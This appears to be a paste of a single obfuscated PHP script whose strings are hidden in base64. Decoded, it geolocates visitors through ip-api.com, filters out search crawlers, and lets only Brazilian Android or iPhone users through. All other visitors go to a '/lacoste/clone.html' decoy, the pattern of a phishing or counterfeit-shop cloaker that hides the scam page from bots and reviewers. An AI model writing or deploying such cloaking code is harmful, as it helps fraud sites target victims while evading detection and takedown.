PHP Decode

<?php function j0(){$k4='';if(!empty($_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')])){$k4=$_SERVER[base64_decode('SFRUUF9DTElFTlRfSVA=')];}elseif(!empty($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')])){$k4=$_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I=')];}else{$k4=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];}return $k4;}function p1(){$s5=[base64_decode('Ym90'),base64_decode('Y3Jhd2w='),base64_decode('c3BpZGVy'),base64_decode('c2x1cnA='),base64_decode('bWVkaWFwYXJ0bmVycw==')];$v6=strtolower($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);foreach($s5 as $d7){if(strpos($v6,$d7)!==false){return true;}}return false;}function n2($k4){$z8=file_get_contents("http://ip-api.com/json/{$k4}");$c9=json_decode($z8,true);return($c9[base64_decode('c3RhdHVz')]==base64_decode('c3VjY2Vzcw==')&&$c9[base64_decode('Y291bnRyeUNvZGU=')]==base64_decode('QlI='));}function o3(){$v6=strtolower($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);return strpos($v6,base64_decode('YW5kcm9pZA=='))!==false||strpos($v6,base64_decode('aXBob25l'))!==false;}$k4=j0();if(!n2($k4)||!o3()||p1()){header(base64_decode('TG9jYXRpb246IC9sYWNvc3RlL2Nsb25lLmh0bWw='));exit();}?>